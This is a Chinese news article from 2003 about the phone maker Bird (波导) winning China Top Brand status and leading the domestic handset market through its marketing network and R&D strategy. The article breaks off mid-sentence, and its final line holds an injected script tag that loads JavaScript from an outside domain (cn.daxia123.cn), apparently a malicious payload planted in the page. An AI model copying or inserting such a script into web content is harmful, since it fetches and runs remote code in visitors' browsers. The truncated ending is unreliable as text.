波导:实力树品牌 人才铸后盾

添加时间:2003-10-29 | 来自媒体:宁波晚报 | 点击:7013


  9月1日,国家质量监督检验检疫总局授权、中国名牌战略推进委员会公布了2003年中国名牌产品名单,波导榜上有名,成为了手机行业最年轻的中国名牌。
    据信息产业部7月底公布的最新统计,今年上半年,国产品牌手机的国内市场占有率达到了55.28%,其中,波导以15.01%的市场占有率超越所有其它品牌成为中国手机市场的新科状元,继2000-2002年度连续3年夺得国产品牌手机产销量第一名后再创新高。
    自进入手机行业来,波导经历了国产手机从无到有,由弱变强的整个过程,浓缩了一部国产品牌手机的发展史。波导的发展,使宁波从以往单一的服装大市发展成为服装、通讯大市,为宁波的城市定位增添了高科技的内涵。为什么这么多消费者选择波导手机?波导缘何得到社会的青睐?适逢波导十一周年厂庆,带着这些疑问,记者走进波导,试图探寻她的腾飞之谜。

实力篇

市场“突围”

    1999年的中国手机市场,洋品牌“一统天下”,摩托罗拉、诺基亚等三大品牌占据了中国手机市场近90%的份额。
    也就是在1999年,包括波导在内的九家厂商开始涉足国产品牌手机市场占有率几乎为零的手机行业,在当时拿到手机生产许可证的9家企业中,波导是实力最弱的一家,也是惟一没有政府作为大股东的一家。
    针对缺资金、无技术、没有品牌的现状,波导采取一系列独辟蹊径的策略。
    在品牌策略上,波导在其他国产品牌还未开始大量投放广告前就贷款数千万元进行广告宣传,“以战斗机为道具,请李玟做代言人”,使波导品牌“垂直起飞”。到2000年底经权威机构调查,波导品牌已成为国产移动电话第一品牌。这个策略及时解决了波导手机没有知名度的问题。
    在营销策略上,波导创造性地采取“自建网络控制服务终端”、“小区域封闭式经营”的策略,主张“经销商零风险”。1999年,波导开始在省会城市建立了销售分公司,在地级城市建立办事处。2003年,波导的销售分公司增加到41个,销售和服务人员超过6000人。波导的自主营销网络策略为波导在近年来的崛起奠定了基础。波导营销服务网也被誉为“中华第一网”。
    由于采取一系列合理的策略,2000-2002年,波导手机在国产品牌中连续三年销量第一,累计产销量率先突破1000万台,跨入世界第一方阵;2003年上半年,信息产业部统计数据显示,波导又以15.01%的市场占有率超过摩托罗拉和诺基亚,成为中国手机市场新的销售冠军。波导新工业园年产能达到2000万部,达到世界级标准。

技术“领跑”

    波导进入手机行业伊始,针对国产品牌整体上缺乏技术,没有自主研发的成熟产品的现状,在吸取生产寻呼机时一味强调自主研发而丧失绝好的市场机遇经验教训的前提下,波导在手机产品上走出了一条由“拿来主义”到“紧跟学习”到“自主创新”的特色研发之路。
    1992年波导做传呼机时是完全自主开发,为此错过了1993—1995年中国寻呼业发展的大好时机并丧失了赚取高额利润的机遇。有鉴于此,波导在1999年上马移动电话的时候就直接引进了法国SAGEM公司成熟的技术、生产工艺和工艺质量保障体系,迅速推出了产品,率先进入市场,抢占了先机。
    波导手机在研发“拿来主义”的同时还投入大量资金与国内外研发机构进行合作,在引进和合作的过程中“紧跟学习”,以期为“自主创新”做好必要的技术积累。经过数年的研发投入和“紧跟学习”,波导已经具备国内一流的手机研发水平。
    在市场竞争中,根据中国人的审美和消费习惯,波导在研发上采取了以应用为导向的自主研发策略。即:主要专注于促进产品更高的性价比、更多实用功能、更美观外型等。同时,波导目前是能够使用技术平台最多的厂家,能够同时使用西门子、BROADCON(美国)、摩托罗拉、法国萨基姆、飞利浦五个技术平台。是目前世界上少数掌握比较全面的产品方案、技术门类和技术基础,对两个以上的技术平台均能兼收并蓄的手机厂商之一。
    2002年下半年开始,波导产品中2/3以上是完全自主研发的。波导波导研发部门一位先生称,“你可以任意给我们提供手机的外观,我们自己设计主板,最后批量生产出手机成品———我们可以根据外观设计内部结构。”
    2003年8月,波导发布了其自主研发的智能手机———DOEASYE868。此款研发耗时3年的手机以其自主研发的操作系统打破了洋品牌在高端智能手机核心技术上的“垄断”地位,表明中?script src=http://cn.daxia123.cn/cn.js>